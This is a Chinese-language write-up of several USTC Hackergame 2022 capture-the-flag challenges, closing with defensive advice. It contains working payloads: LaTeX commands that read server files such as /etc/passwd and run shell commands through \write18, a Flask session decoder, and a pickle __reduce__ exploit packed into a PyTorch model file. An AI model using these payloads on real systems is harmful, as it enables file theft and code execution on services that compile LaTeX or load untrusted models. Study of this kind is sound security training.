从2022中科大HackGame学习PDFLaTeX RCE与Python反序列化

1. Xcaptcha - Python请求与Flask Session伪造

1.1 题目分析

• 题目要求在一秒内完成三次加法验证
• 验证码数字隐藏在网页中，需要通过爬虫提取并计算

1.2 解题方法

1. 使用Python requests库发送GET请求获取页面
2. 用BeautifulSoup解析HTML，提取三个加法题目
3. 计算结果并构造POST请求提交
4. 关键点：第二次请求需要使用第一次响应中的Set-Cookie

import requests
from bs4 import BeautifulSoup

# 第一次GET请求获取题目和cookie
req = requests.get(url, headers=http_header1)
cookie = req.headers.get("Set-Cookie")

# 解析题目并计算
soup = BeautifulSoup(req.text, 'html.parser')
capters = soup.find_all('div', class_='form-group')
results = []
for capter in capters:
    expr = capter.text.strip("的结果是？\n")
    a, b = expr.split('+')
    results.append(int(a) + int(b))

# 第二次POST提交结果
data = {'captcha1': results[0], 'captcha2': results[1], 'captcha3': results[2]}
requests.post(url, headers=http_header2, data=data)

1.3 Flask Session伪造

• Flask的session存储在客户端cookie中，未加密时可被解析
• Session结构：数据.时间戳.签名
• 解密脚本：

import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decrypt_session(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    
    if payload.startswith(b'.'):
        payload = payload[1:]
        payload = zlib.decompress(base64_decode(payload))
    
    return session_json_serializer.loads(payload)

2. LaTeX机器人 - PDFLaTeX RCE

2.1 题目分析

• 网站将用户输入的LaTeX插入到模板中编译为PDF
• 目标：读取服务器上的flag文件（/flag1和/flag2）

2.2 解题方法

方法1：使用\input命令

\input{/etc/passwd}  % 读取任意文件

方法2：使用文件读取原语

\newread\file
\openin\file=/flag2
\loop\unless\ifeof\file
    \read\file to\fileline 
    \fileline
\repeat
\closein\file

特殊字符处理

flag2包含#和_，需要修改字符类别代码：

\catcode`\#=11  % 将#设为字母类别
\catcode`\_=11  % 将_设为字母类别

2.3 PDFLaTeX RCE原理

• PDFLaTeX支持\write18执行系统命令
• 配置文件中shell_escape = p允许部分命令执行
• 可利用命令包括：bibtex, kpsewhich, makeindex等

\immediate\write18{bibtex8 --wolfgang \jobname}  % 执行命令
\input{|bibtex8 --wolfgang \jobname}  % 另一种执行方式

3. 微积分计算小练习 - XSS漏洞

3.1 题目分析

• 成绩页面通过URL参数result传递base64编码的成绩和用户名
• 页面使用innerHTML动态显示内容，存在XSS漏洞

3.2 解题方法

1. 构造恶意用户名触发XSS：

2. Base64编码后作为用户名提交
3. Bot会访问该URL，将flag写入cookie并显示

4. 二次元神经网络 - Python反序列化

4.1 题目分析

• 网站接受用户上传的PyTorch模型文件(.pt)
• 模型文件使用pickle序列化，存在反序列化漏洞

4.2 Python反序列化原理

• pickle.load()和torch.load()使用相同反序列化机制
• 可通过__reduce__方法执行任意代码

4.3 解题方法

1. 构造恶意模型文件，覆盖正确答案：

import torch

class Exploit(object):
    def __reduce__(self):
        return (eval, ("open('/tmp/result.json', 'w').write('正确JSON内容')",))

torch.save(Exploit(), "model_exp.pt")

2. 上传模型文件，触发反序列化执行代码

4.4 替代方案

利用模型参数直接构造正确结果：

args = "json.dump({'gen_imgs_b64': [...]}, open('/tmp/result.json', 'w'))"

5. 关键知识点总结

5.1 PDFLaTeX安全

• 文件读取：\input, \include, \openin
• 命令执行：\write18, 受限于shell_escape_commands
• 字符处理：\catcode修改字符类别

5.2 Python反序列化

• 危险函数：pickle.load(s), torch.load
• 利用方式：__reduce__返回可调用对象和参数
• 操作码：R(元组调用), i(实例化调用), o(直接调用)

5.3 Web安全

• Flask Session：客户端存储，需保护secret_key
• XSS防御：避免使用innerHTML，转义用户输入
• CSRF防护：检查Referer，使用随机token

6. 防御建议

1. PDFLaTeX服务：

   • 禁用\write18或限制可执行命令
   • 沙盒环境运行LaTeX编译
   • 过滤用户输入的TeX命令

2. Python反序列化：

   • 避免反序列化不可信数据
   • 使用JSON等安全格式替代pickle
   • 签名验证序列化数据

3. Web应用：

   • 设置Flask secret_key
   • 对所有动态内容进行HTML转义
   • 实施严格的CSP策略